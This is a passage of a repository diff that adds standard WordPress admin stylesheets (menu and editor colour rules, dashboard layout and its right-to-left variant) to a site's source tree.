+.wp_themeSkin .mceSplitButton a.mceAction,
+.wp_themeSkin .mceSplitButton a.mceOpen {
+	border-color: #B2B2B2;
+}
+
+.wp_themeSkin .mceSplitButton a.mceOpen:hover,
+.wp_themeSkin .mceSplitButtonSelected a.mceOpen,
+.wp_themeSkin table.mceSplitButtonEnabled:hover a.mceAction,
+.wp_themeSkin .mceSplitButton a.mceAction:hover {
+	background-color: #d5d5d5;
+	border-color: #777 !important;
+}
+
+.wp_themeSkin .mceSplitButtonActive {
+	background-color: #B2B2B2;
+}
+
+/* ColorSplitButton */
+.wp_themeSkin div.mceColorSplitMenu table {
+	background-color: #ebebeb;
+	border-color: #B2B2B2;
+}
+
+.wp_themeSkin .mceColorSplitMenu a {
+	border-color: #B2B2B2;
+}
+
+.wp_themeSkin .mceColorSplitMenu a.mceMoreColors {
+	border-color: #fff;
+}
+
+.wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover {
+	border-color: #0A246A;
+	background-color: #B6BDD2;
+}
+
+.wp_themeSkin a.mceMoreColors:hover {
+	border-color: #0A246A;
+}
+
+/* Menu */
+.wp_themeSkin .mceMenu {
+	border-color: #ddd;
+}
+
+.wp_themeSkin .mceMenu table {
+	background-color: #ebeaeb;
+}
+
+.wp_themeSkin .mceMenu .mceText {
+	color: #000;
+}
+
+.wp_themeSkin .mceMenu .mceMenuItemEnabled a:hover,
+.wp_themeSkin .mceMenu .mceMenuItemActive {
+	background-color: #f5f5f5;
+}
+.wp_themeSkin td.mceMenuItemSeparator {
+	background-color: #aaa;
+}
+.wp_themeSkin .mceMenuItemTitle a {
+	background-color: #ccc;
+	border-bottom-color: #aaa;
+}
+.wp_themeSkin .mceMenuItemTitle span.mceText {
+	color: #000;
+}
+.wp_themeSkin .mceMenuItemDisabled .mceText {
+	color: #888;
+}
+
+.wp_themeSkin tr.mceFirst td.mceToolbar {
+	background: #dfdfdf url("../images/ed-bg.gif") repeat-x scroll left top;
+	border-color: #dfdfdf;
+}
+
+.wp-admin #mceModalBlocker {
+	background: #000;
+}
+
+.wp-admin .clearlooks2 .mceFocus .mceTop .mceLeft {
+	background: #444444;
+	border-left: 1px solid #999;
+	border-top: 1px solid #999;
+	-moz-border-radius: 4px 0 0 0;
+	-webkit-border-top-left-radius: 4px;
+	-khtml-border-top-left-radius: 4px;
+	border-top-left-radius: 4px;
+}
+
+.wp-admin .clearlooks2 .mceFocus .mceTop .mceRight {
+	background: #444444;
+	border-right: 1px solid #999;
+	border-top: 1px solid #999;
+	border-top-right-radius: 4px;
+	-khtml-border-top-right-radius: 4px;
+	-webkit-border-top-right-radius: 4px;
+	-moz-border-radius: 0 4px 0 0;
+}
+
+.wp-admin .clearlooks2 .mceMiddle .mceLeft {
+	background: #f1f1f1;
+	border-left: 1px solid #999;
+}
+
+.wp-admin .clearlooks2 .mceMiddle .mceRight {
+	background: #f1f1f1;
+	border-right: 1px solid #999;
+}
+
+.wp-admin .clearlooks2 .mceBottom {
+	background: #f1f1f1;
+	border-bottom: 1px solid #999;
+}
+
+.wp-admin .clearlooks2 .mceBottom .mceLeft {
+	background: #f1f1f1;
+	border-bottom: 1px solid #999;
+	border-left: 1px solid #999;
+}
+
+.wp-admin .clearlooks2 .mceBottom .mceCenter {
+	background: #f1f1f1;
+	border-bottom: 1px solid #999;
+}
+
+.wp-admin .clearlooks2 .mceBottom .mceRight {
+	background: #f1f1f1;
+	border-bottom: 1px solid #999;
+	border-right: 1px solid #999;
+}
+
+.wp-admin .clearlooks2 .mceFocus .mceTop span {
+	color: #e5e5e5;
+}
+/* end TinyMCE */
+
+#editorcontainer,
+#post-status-info,
+#titlediv #title,
+.editwidget .widget-inside {
+	border-color: #dfdfdf;
+}
+
+#titlediv #title {
+	background-color: #fff;
+}
+
+#tTips p#tTips_inside {
+	background-color: #ddd;
+	color: #333;
+}
+
+#timestampdiv input,
+#namediv input,
+#poststuff .inside .the-tagcloud {
+	border-color: #ddd;
+}
+
+/* menu */
+#adminmenu * {
+	border-color: #e3e3e3;
+}
+
+#adminmenu li.wp-menu-separator {
+	background: transparent url(../images/menu-arrows.gif) no-repeat scroll left 5px;
+}
+
+.folded #adminmenu li.wp-menu-separator {
+	background: transparent url(../images/menu-arrows.gif) no-repeat scroll right -34px;
+}
+
+#adminmenu li.wp-has-current-submenu.wp-menu-open .wp-menu-toggle,
+#adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle {
+	background: transparent url(../images/menu-bits.gif) no-repeat scroll left -207px;
+}
+
+#adminmenu .wp-has-submenu:hover .wp-menu-toggle,
+#adminmenu .wp-menu-open .wp-menu-toggle {
+	background: transparent url(../images/menu-bits.gif) no-repeat scroll left -109px;
+}
+
+#adminmenu a.menu-top {
+	background: #f1f1f1 url(../images/menu-bits.gif) repeat-x scroll left -379px;
+}
+
+#adminmenu .wp-submenu a {
+	background: #FFFFFF url(../images/menu-bits.gif) no-repeat scroll 0 -310px;
+}
+
+#adminmenu .wp-has-current-submenu ul li a {
+	background: none;
+}
+
+#adminmenu .wp-has-current-submenu ul li a.current {
+	background: url(../images/menu-dark.gif) top left no-repeat !important;
+}
+
+#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
+#adminmenu .menu-top .current {
+	background: #6d6d6d url(../images/menu-bits.gif) top left repeat-x;
+	border-color: #6d6d6d;
+	color: #fff;
+	text-shadow: rgba(0,0,0,0.4) 0px -1px 0px;
+}
+
+#adminmenu li.wp-has-current-submenu .wp-submenu,
+#adminmenu li.wp-has-current-submenu ul li a {
+	border-color: #aaa !important;
+}
+
+#adminmenu li.wp-has-current-submenu ul li a {
+	background: url(../images/menu-dark.gif) bottom left no-repeat !important;
+}
+
+#adminmenu li.wp-has-current-submenu ul {
+	border-bottom-color: #aaa;
+}
+
+#adminmenu li.menu-top .current:hover {
+	border-color: #B5B5B5;
+}
+
+#adminmenu .wp-submenu .current a.current {
+	background: transparent url(../images/menu-bits.gif) no-repeat scroll  0 -289px;
+}
+
+#adminmenu .wp-submenu a:hover {
+	background-color: #EAF2FA !important;
+	color: #333 !important;
+}
+
+#adminmenu .wp-submenu li.current,
+#adminmenu .wp-submenu li.current a,
+#adminmenu .wp-submenu li.current a:hover {
+	color: #333;
+	background-color: #f5f5f5;
+	background-image: none;
+	border-color: #e3e3e3;
+	text-shadow: rgba(255,255,255,1) 0px 1px 0px;
+}
+
+#adminmenu .wp-submenu ul {
+	background-color: #fff;
+}
+
+.folded #adminmenu li.menu-top,
+#adminmenu .wp-submenu .wp-submenu-head {
+	background-color: #F1F1F1;
+}
+
+.folded #adminmenu li.wp-has-current-submenu,
+.folded #adminmenu li.menu-top.current {
+	background-color: #e6e6e6;
+}
+
+#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head {
+	background-color: #EAEAEA;
+	border-color: #aaa;
+}
+
+#adminmenu div.wp-submenu {
+	background-color: transparent;
+}
+
+/* menu icons */
+#adminmenu #menu-dashboard div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -61px -33px;
+}
+
+#adminmenu #menu-dashboard:hover div.wp-menu-image,
+#adminmenu  #menu-dashboard.wp-has-current-submenu div.wp-menu-image,
+#adminmenu  #menu-dashboard.current div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -61px -1px;
+}
+
+#adminmenu #menu-posts div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -272px -33px;
+}
+
+#adminmenu #menu-posts:hover div.wp-menu-image,
+#adminmenu #menu-posts.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -272px -1px;
+}
+
+#adminmenu #menu-media div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -121px -33px;
+}
+
+#adminmenu #menu-media:hover div.wp-menu-image,
+#adminmenu #menu-media.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -121px -1px;
+}
+
+#adminmenu #menu-links div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -91px -33px;
+}
+
+#adminmenu #menu-links:hover div.wp-menu-image,
+#adminmenu #menu-links.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -91px -1px;
+}
+
+#adminmenu #menu-pages div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -151px -33px;
+}
+
+#adminmenu #menu-pages:hover div.wp-menu-image,
+#adminmenu #menu-pages.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -151px -1px;
+}
+
+#adminmenu #menu-comments div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -31px -33px;
+}
+
+#adminmenu #menu-comments:hover div.wp-menu-image,
+#adminmenu #menu-comments.wp-has-current-submenu div.wp-menu-image,
+#adminmenu #menu-comments.current div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -31px -1px;
+}
+
+#adminmenu #menu-appearance div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -1px -33px;
+}
+
+#adminmenu #menu-appearance:hover div.wp-menu-image,
+#adminmenu #menu-appearance.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -1px -1px;
+}
+
+#adminmenu #menu-plugins div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -181px -33px;
+}
+
+#adminmenu #menu-plugins:hover div.wp-menu-image,
+#adminmenu #menu-plugins.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -181px -1px;
+}
+
+#adminmenu #menu-users div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -301px -33px;
+}
+
+#adminmenu #menu-users:hover div.wp-menu-image,
+#adminmenu #menu-users.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -301px -1px;
+}
+
+#adminmenu #menu-tools div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -211px -33px;
+}
+
+#adminmenu #menu-tools:hover div.wp-menu-image,
+#adminmenu #menu-tools.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -211px -1px;
+}
+
+#adminmenu #menu-settings div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -241px -33px;
+}
+
+#adminmenu #menu-settings:hover div.wp-menu-image,
+#adminmenu #menu-settings.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu.png") no-repeat scroll -241px -1px;
+}
+/* end menu */
+
+
+/* Diff */
+table.diff .diff-deletedline {
+	background-color: #ffdddd;
+}
+
+table.diff .diff-deletedline del {
+	background-color: #ff9999;
+}
+
+table.diff .diff-addedline {
+	background-color: #ddffdd;
+}
+
+table.diff .diff-addedline ins {
+	background-color: #99ff99;
+}
+
+#att-info {
+	background-color: #E4F2FD;
+}
+
+/* edit image */
+#sidemenu a {
+	background-color: #f9f9f9;
+	border-color: #f9f9f9;
+	border-bottom-color: #dfdfdf;
+}
+
+#sidemenu a.current {
+	background-color: #fff;
+	border-color: #dfdfdf #dfdfdf #fff;
+	color: #D54E21;
+}
+
+#screen-options-wrap,
+#contextual-help-wrap {
+	background-color: #f1f1f1;
+	border-color: #dfdfdf;
+}
+
+#screen-meta-links a.show-settings {
+	color: #606060;
+}
+
+#screen-meta-links a.show-settings:hover {
+	color: #000;
+}
+
+#replysubmit {
+	background-color: #f1f1f1;
+	border-top-color: #ddd;
+}
+
+#replyerror {
+	border-color: #ddd;
+	background-color: #f9f9f9;
+}
+
+#edithead,
+#replyhead {
+	background-color: #f1f1f1;
+}
+
+#ed_reply_toolbar {
+	background-color: #e9e9e9;
+}
+
+/* table vim shortcuts */
+.vim-current,
+.vim-current th,
+.vim-current td {
+	background-color: #E4F2FD !important;
+}
+
+/* Install Plugins */
+.star-average,
+.star.star-rating {
+	background-color: #fc0;
+}
+
+div.star.select:hover {
+	background-color: #d00;
+}
+
+#plugin-information .fyi ul {
+	background-color: #eaf3fa;
+}
+
+#plugin-information .fyi h2.mainheader {
+	background-color: #cee1ef;
+}
+
+#plugin-information pre,
+#plugin-information code {
+	background-color: #ededff;
+}
+
+#plugin-information pre {
+	border: 1px solid #ccc;
+}
+
+/* inline editor */
+.inline-edit-row fieldset input[type="text"],
+.inline-edit-row fieldset textarea,
+#bulk-titles,
+#replyrow input {
+	border-color: #ddd;
+}
+
+.inline-editor div.title {
+	background-color: #EAF3FA;
+}
+
+.inline-editor ul.cat-checklist {
+	background-color: #FFFFFF;
+	border-color: #ddd;
+}
+
+.inline-editor .categories .catshow,
+.inline-editor .categories .cathide {
+	color: #21759b;
+}
+
+.inline-editor .quick-edit-save {
+	background-color: #f1f1f1;
+}
+
+#replyrow #ed_reply_toolbar input:hover {
+	border-color: #aaa;
+	background: #ddd;
+}
+
+fieldset.inline-edit-col-right .inline-edit-col {
+	border-color: #dfdfdf;
+}
+
+.attention {
+	color: #D54E21;
+}
+
+.meta-box-sortables .postbox:hover .handlediv {
+	background: transparent url(../images/menu-bits.gif) no-repeat scroll left -111px;
+}
+
+#major-publishing-actions {
+	background: #eaf2fa;
+}
+
+.tablenav .tablenav-pages {
+	color: #555;
+}
+
+.tablenav .tablenav-pages a {
+	border-color: #e3e3e3;
+	background: #eee url('../images/menu-bits.gif') repeat-x scroll left -379px;
+}
+
+.tablenav .tablenav-pages a:hover {
+	color: #d54e21;
+	border-color: #d54321;
+}
+
+.tablenav .tablenav-pages a:active {
+	color: #fff !important;
+}
+
+.tablenav .tablenav-pages .current {
+	background: #dfdfdf;
+	border-color: #d3d3d3;
+}
+
+#availablethemes,
+#availablethemes td {
+	border-color: #ddd;
+}
+
+#current-theme img {
+	border-color: #999;
+}
+
+#TB_window #TB_title a.tb-theme-preview-link,
+#TB_window #TB_title a.tb-theme-preview-link:visited {
+	color: #999;
+}
+
+#TB_window #TB_title a.tb-theme-preview-link:hover,
+#TB_window #TB_title a.tb-theme-preview-link:focus {
+	color: #ccc;
+}
+
+.misc-pub-section {
+	border-bottom-color: #eee;
+}
+
+#minor-publishing {
+	border-bottom-color: #ddd;
+}
+
+#post-body .misc-pub-section {
+	border-right-color: #eee;
+}
+
+.post-com-count span {
+	background-color: #bbb;
+}
+
+.form-table .color-palette td {
+	border-color: #fff;
+}
+
+.sortable-placeholder {
+	border-color: #bbb;
+	background-color: #f5f5f5;
+}
+
+#post-body ul#category-tabs li.tabs a {
+	color: #333;
+}
+
+#wp_editimgbtn,
+#wp_delimgbtn,
+#wp_editgallery,
+#wp_delgallery {
+	border-color: #999;
+	background-color: #eee;
+}
+
+#wp_editimgbtn:hover,
+#wp_delimgbtn:hover,
+#wp_editgallery:hover,
+#wp_delgallery:hover {
+	border-color: #555;
+	background-color: #ccc;
+}
+
+#favorite-first {
+	background: #797979 url(../images/fav.png) repeat-x left center;
+	border-color: #777 !important;
+	border-bottom-color: #666 !important;
+}
+
+#favorite-inside {
+	border-color: #797979;
+	background-color: #797979;
+}
+
+#favorite-toggle {
+	background: transparent url(../images/fav-arrow.gif) no-repeat 0 -4px;
+}
+
+#favorite-actions a {
+	color: #ddd;
+}
+
+#favorite-actions a:hover {
+	color: #fff;
+}
+
+#favorite-inside a:hover {
+	text-decoration: underline;
+}
+
+#favorite-actions .slide-down {
+	border-bottom-color: #626262;
+}
+
+.submit input,
+.button,
+.button-primary,
+.button-secondary,
+.button-highlighted,
+#postcustomstuff .submit input {
+	text-shadow: rgba(255,255,255,1) 0 1px 0;
+}
+
+.button-primary,
+.submit .button-primary {
+	text-shadow: rgba(0,0,0,0.3) 0 -1px 0;
+}
+
+#screen-meta a.show-settings {
+	background-color: transparent;
+	text-shadow: rgba(255,255,255,0.7) 0 1px 0;
+}
+
+#icon-edit,
+#icon-post {
+	background: transparent url(../images/icons32.png) no-repeat -552px -5px;
+}
+
+#icon-index {
+	background: transparent url(../images/icons32.png) no-repeat -137px -5px;
+}
+
+#icon-upload {
+	background: transparent url(../images/icons32.png) no-repeat -251px -5px;
+}
+
+#icon-link-manager,
+#icon-link,
+#icon-link-category {
+	background: transparent url(../images/icons32.png) no-repeat -190px -5px;
+}
+
+#icon-edit-pages,
+#icon-page {
+	background: transparent url(../images/icons32.png) no-repeat -312px -5px;
+}
+
+#icon-edit-comments {
+	background: transparent url(../images/icons32.png) no-repeat -72px -5px;
+}
+
+#icon-themes {
+	background: transparent url(../images/icons32.png) no-repeat -11px -5px;
+}
+
+#icon-plugins {
+	background: transparent url(../images/icons32.png) no-repeat -370px -5px;
+}
+
+#icon-users,
+#icon-profile,
+#icon-user-edit {
+	background: transparent url(../images/icons32.png) no-repeat -600px -5px;
+}
+
+#icon-tools,
+#icon-admin {
+	background: transparent url(../images/icons32.png) no-repeat -432px -5px;
+}
+
+#icon-options-general {
+	background: transparent url(../images/icons32.png) no-repeat -492px -5px;
+}
+
+.view-switch #view-switch-list {
+	background: transparent url(../images/list.png) no-repeat 0 0;
+}
+
+.view-switch #view-switch-list.current {
+	background: transparent url(../images/list.png) no-repeat -40px 0;
+}
+
+.view-switch #view-switch-excerpt {
+	background: transparent url(../images/list.png) no-repeat -20px 0;
+}
+
+.view-switch #view-switch-excerpt.current {
+	background: transparent url(../images/list.png) no-repeat -60px 0;
+}
+
+#header-logo {
+	background: transparent url(../images/wp-logo.gif) no-repeat scroll center center;
+}
+
+#wphead #site-visit-button {
+	background-color:#585858;
+	background-image: url(../images/visit-site-button-grad.gif);
+	color:#aaa;
+	text-shadow: #3F3F3F 0 -1px 0;
+}
+
+#wphead a:hover #site-visit-button {
+	color:#fff;
+}
+
+#wphead a:focus #site-visit-button,
+#wphead a:active #site-visit-button {
+	background-position:0 -27px;
+}
+
+.popular-tags,
+.feature-filter {
+	background-color: #FFFFFF;
+	border-color: #DFDFDF;
+}
+
+#theme-information .action-button {
+	border-top-color: #DFDFDF;
+}
+
+.theme-listing br.line {
+	border-bottom-color: #ccc;
+}
+
+div.widgets-sortables,
+#widgets-left .inactive {
+	background-color: #f1f1f1;
+    border-color: #ddd;
+}
+
+#available-widgets .widget-holder {
+    background-color: #fff;
+    border-color: #ddd;
+}
+
+#widgets-left .sidebar-name {
+	background-color: #aaa;
+	background-image: url(../images/ed-bg.gif);
+	text-shadow: #FFFFFF 0 1px 0;
+	border-color: #dfdfdf;
+}
+
+#widgets-right .sidebar-name {
+	background-image: url(../images/fav.png);
+	text-shadow: #3f3f3f 0 -1px 0;
+	background-color: #636363;
+	border-color: #636363;
+	color: #fff;
+}
+
+.sidebar-name:hover,
+#removing-widget {
+	color: #d54e21;
+}
+
+#removing-widget span {
+	color: black;
+}
+
+#widgets-left .sidebar-name-arrow {
+	background: transparent url(../images/menu-bits.gif) no-repeat scroll left -109px;
+}
+
+#widgets-right .sidebar-name-arrow {
+	background: transparent url(../images/fav-arrow.gif) no-repeat scroll 0 -1px;
+}
+
+.in-widget-title {
+	color: #606060;
+}
+
+.deleting .widget-title * {
+	color: #aaa;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/dashboard-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/dashboard-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/dashboard-rtl.css	(revision 44)
@@ -0,0 +1,93 @@
+#dashboard-widgets-wrap .has-sidebar {
+	margin-right: 0;
+	margin-left: -51%;
+}
+#dashboard-widgets-wrap .has-sidebar .has-sidebar-content {
+	margin-right: 0;
+	margin-left: 51%;
+}
+.view-all {
+	right: auto;
+	left: 0;
+}
+#dashboard_right_now p.sub, #dashboard-widgets h4, #dashboard_quick_press h4, a.rsswidget, #dashboard_plugins h4, #dashboard_plugins h5, #dashboard_recent_comments .comment-meta .approve {
+	font-family: Tahoma, Arial;
+}
+#dashboard_right_now td.b {
+	padding-right: 0;
+	padding-left: 6px;
+	text-align: left;
+	font-family: Tahoma, Arial;
+}
+#dashboard_right_now .t {
+	padding-right: 0;
+	padding-left: 12px;
+}
+#dashboard_right_now .versions a {
+	font-family: Tahoma, Arial;
+}
+#dashboard_right_now a.button {
+	float: left;
+	clear: left;
+}
+#dashboard-widgets h3 .postbox-title-action {
+	right: auto;
+	left: 30px;
+}
+#the-comment-list .pingback {
+	padding-left: 0 !important;
+	padding-right: 9px !important;
+}
+/* Recent Comments */
+#the-comment-list .comment-item {
+	padding: 1em 70px 1em 10px;
+}
+#the-comment-list .comment-item .avatar {
+	float: right;
+	margin-left: 0;
+	margin-right: -60px;
+}
+/* Feeds */
+.rss-widget cite {
+	text-align: left;
+}
+.rss-widget span.rss-date {
+	font-family: Tahoma, Arial;
+	margin-left: 0;
+	margin-right: 3px;
+}
+/* QuickPress */
+#dashboard_quick_press h4 {
+	float: right;
+	text-align: left;
+}
+#dashboard_quick_press h4 label {
+	margin-right: 0;
+	margin-left: 10px;
+}
+#dashboard_quick_press .input-text-wrap, #dashboard_quick_press .textarea-wrap {
+	margin: 0 5em 1em 0;
+}
+#dashboard_quick_press #media-buttons {
+	margin: 0 5em .5em 0;
+	padding: 0 10px 0 0;
+}
+#dashboard-widgets #dashboard_quick_press form p.submit {
+	margin-left: 0;
+	margin-right: 4.6em;
+}
+#dashboard-widgets #dashboard_quick_press form p.submit input {
+	float: right;
+}
+#dashboard-widgets #dashboard_quick_press form p.submit #save-post {
+	margin: 0 10px 0 1em;
+}
+#dashboard-widgets #dashboard_quick_press form p.submit #publish {
+	float: left;
+}
+/* Recent Drafts */
+#dashboard_recent_drafts h4 abbr {
+	font-family: Tahoma, Arial;
+	margin-left:0;
+	margin-right: 3px;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/dashboard.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/dashboard.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/dashboard.css	(revision 44)
@@ -0,0 +1,390 @@
+.postbox p, .postbox ul, .postbox ol, .postbox blockquote, #wp-version-message { font-size: 11px; }
+
+.edit-box {
+	display: none;
+}
+
+h3:hover .edit-box {
+	display: inline;
+}
+
+form .input-text-wrap {
+	border-style: solid;
+	border-width: 1px;
+	padding: 2px 3px;
+	border-color: #ccc;
+}
+
+#dashboard-widgets form .input-text-wrap input {
+	border: 0 none;
+	outline: none;
+	margin: 0;
+	padding: 0;
+	width: 99%;
+	color: #333;
+}
+
+form .textarea-wrap {
+	border-style: solid;
+	border-width: 1px;
+	padding: 2px;
+	border-color: #ccc;
+}
+
+#dashboard-widgets form .textarea-wrap textarea {
+	border: 0 none;
+	padding: 0;
+	outline: none;
+	width: 99%;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#dashboard-widgets .postbox form .submit {
+	float: none;
+	margin: .5em 0 0;
+	padding: 0;
+	border: none;
+}
+
+#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit input {
+	margin: 0;
+}
+
+#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish {
+	min-width: 0;
+}
+
+div.postbox div.inside {
+	margin: 10px;
+	position: relative;
+}
+
+#dashboard-widgets a {
+	text-decoration: none;
+}
+
+#dashboard-widgets h3 a {
+	text-decoration: underline;
+}
+
+#dashboard-widgets h3 .postbox-title-action {
+	position: absolute;
+	right: 30px;
+	padding: 0;
+}
+
+#dashboard-widgets h4 {
+	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	font-size: 13px;
+	margin: 0 0 .2em;
+	padding: 0;
+}
+
+/* Right Now */
+
+#dashboard_right_now p.sub,
+#dashboard_right_now .table, #dashboard_right_now .versions {
+	margin: -12px;
+}
+
+#dashboard_right_now .inside {
+	font-size: 12px;
+}
+
+#dashboard_right_now p.sub {
+	font-style: italic;
+	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	padding: 5px 10px 15px;
+	color: #777;
+	font-size: 13px;
+}
+
+#dashboard_right_now .table {
+	background: #f9f9f9;
+	border-top: #ececec 1px solid;
+	border-bottom: #ececec 1px solid;
+	margin: 0 -9px 10px;
+	padding: 0 10px;
+}
+
+#dashboard_right_now table {
+	width: 100%;
+}
+
+#dashboard_right_now table  td {
+	border-top: #ececec 1px solid;
+	padding: 3px 0;
+	white-space: nowrap;
+}
+
+#dashboard_right_now table tr.first td {
+	border-top: none;
+}
+
+#dashboard_right_now td.b {
+	padding-right: 6px;
+	text-align: right;
+	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	font-size: 14px;
+}
+
+#dashboard_right_now td.b a {
+	font-size: 18px;
+}
+
+#dashboard_right_now td.b a:hover {
+	color: #d54e21;
+}
+
+#dashboard_right_now .t {
+	font-size: 12px;
+	padding-right: 12px;
+	padding-top: 6px;
+	color: #777;
+}
+
+#dashboard_right_now td.first,
+#dashboard_right_now td.last {
+	width: 1px;
+}
+
+#dashboard_right_now .spam {
+	color: red;
+}
+
+#dashboard_right_now .waiting {
+	color: #e66f00;
+}
+
+#dashboard_right_now .approved {
+	color: green;
+}
+
+#dashboard_right_now .versions {
+	padding: 6px 10px 12px;
+}
+
+#dashboard_right_now .versions .b {
+	font-weight: bold;
+}
+
+#dashboard_right_now a.button {
+	float: right;
+	clear: right;
+	position: relative;
+	top: -5px;
+}
+
+/* Recent Comments */
+
+#dashboard_recent_comments h3 {
+	margin-bottom: 0;
+}
+
+#dashboard_recent_comments .inside {
+	margin-top: 0;
+}
+
+#dashboard_recent_comments .comment-meta .approve {
+	font-style: italic;
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+	font-size: 10px;
+}
+
+#the-comment-list {
+	position: relative;
+}
+
+#the-comment-list .comment-item {
+	padding: 1em 10px;
+	border-top: 1px solid;
+}
+
+#the-comment-list .pingback {
+	padding-left: 9px !important;
+}
+
+#the-comment-list .comment-item,
+#the-comment-list #replyrow {
+	margin: 0 -10px;
+}
+
+#the-comment-list .comment-item:first-child {
+	border-top: none;
+}
+
+#the-comment-list .comment-item .avatar {
+	float: left;
+	margin: 0 10px 5px 0;
+}
+
+#the-comment-list .comment-item h4 {
+	line-height: 1.4;
+	margin-top: -.2em;
+	font-weight: normal;
+	color: #999;
+}
+
+#the-comment-list .comment-item h4 cite {
+	font-style: normal;
+	font-weight: normal;
+}
+
+#the-comment-list .comment-item blockquote,
+#the-comment-list .comment-item blockquote p {
+	margin: 0;
+	padding: 0;
+	display: inline;
+}
+
+#dashboard_recent_comments #the-comment-list .trackback blockquote,
+#dashboard_recent_comments #the-comment-list .pingback blockquote {
+	display: block;
+}
+
+#the-comment-list .comment-item p.row-actions {
+	margin: 3px 0 0;
+	padding: 0;
+	font-size: 10px;
+}
+
+/* QuickPress */
+
+#dashboard_quick_press h4 {
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+	float: left;
+	width: 5.5em;
+	clear: both;
+	font-weight: normal;
+	text-align: right;
+	padding-top: 5px;
+	font-size: 12px;
+}
+
+#dashboard_quick_press h4 label {
+	margin-right: 10px;
+}
+
+#dashboard_quick_press .input-text-wrap,
+#dashboard_quick_press .textarea-wrap {
+	margin: 0 0 1em 5em;
+}
+
+#dashboard_quick_press #media-buttons {
+	margin: 0 0 .5em 5em;
+	padding: 0 0 0 10px;
+	font-size: 11px;
+}
+
+#dashboard_quick_press #media-buttons a {
+	vertical-align: bottom;
+}
+
+#dashboard-widgets #dashboard_quick_press form p.submit {
+	margin-left: 4.6em;
+}
+
+#dashboard-widgets #dashboard_quick_press form p.submit input {
+	float: left;
+}
+
+#dashboard-widgets #dashboard_quick_press form p.submit #save-post {
+	margin: 0 1em 0 10px;
+}
+
+#dashboard-widgets #dashboard_quick_press form p.submit #publish {
+	float: right;
+}
+
+/* Recent Drafts */
+#dashboard_recent_drafts ul {
+	margin: 0;
+	padding: 0;
+	list-style: none;
+}
+
+#dashboard_recent_drafts ul li {
+	margin-bottom: 0.6em;
+}
+
+#dashboard_recent_drafts h4 {
+	font-weight: normal;
+}
+
+#dashboard_recent_drafts h4 abbr {
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+	font-size: 11px;
+	color: #999;
+	margin-left: 3px;
+}
+
+#dashboard_recent_drafts p {
+	margin: 0;
+	padding: 0;
+}
+
+/* Feeds */
+
+.rss-widget ul {
+	margin: 0;
+	padding: 0;
+	list-style: none;
+}
+
+a.rsswidget {
+	font-size: 13px;
+	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	line-height: 1.7em;
+}
+
+.rss-widget ul li {
+	line-height: 1.5em;
+	margin-bottom: 12px;
+}
+
+.rss-widget span.rss-date {
+	margin-left: 3px;
+}
+
+.rss-widget cite {
+	display: block;
+	text-align: right;
+	margin: 0 0 1em;
+	padding: 0;
+}
+
+.rss-widget cite:before {
+	content: '\2014';
+}
+
+/* Plugins */
+
+#dashboard_plugins h4 {
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+}
+
+#dashboard_plugins h5 {
+	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	font-size: 13px !important;
+	margin: 0;
+	display: inline;
+	line-height: 1.4em;
+}
+
+#dashboard_plugins h5 a {
+	font-weight: normal;
+	line-height: 1.7em;
+}
+
+#dashboard_plugins p {
+	margin: 0 0 1.4em;
+	line-height: 1.4em;
+}
+
+.dashboard-comment-wrap {
+	overflow: hidden;
+	word-wrap: break-word;
+}
+
Index: /trunk/www.guidonia.net/wp/wp-admin/css/farbtastic-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/farbtastic-rtl.css	(revision 44)
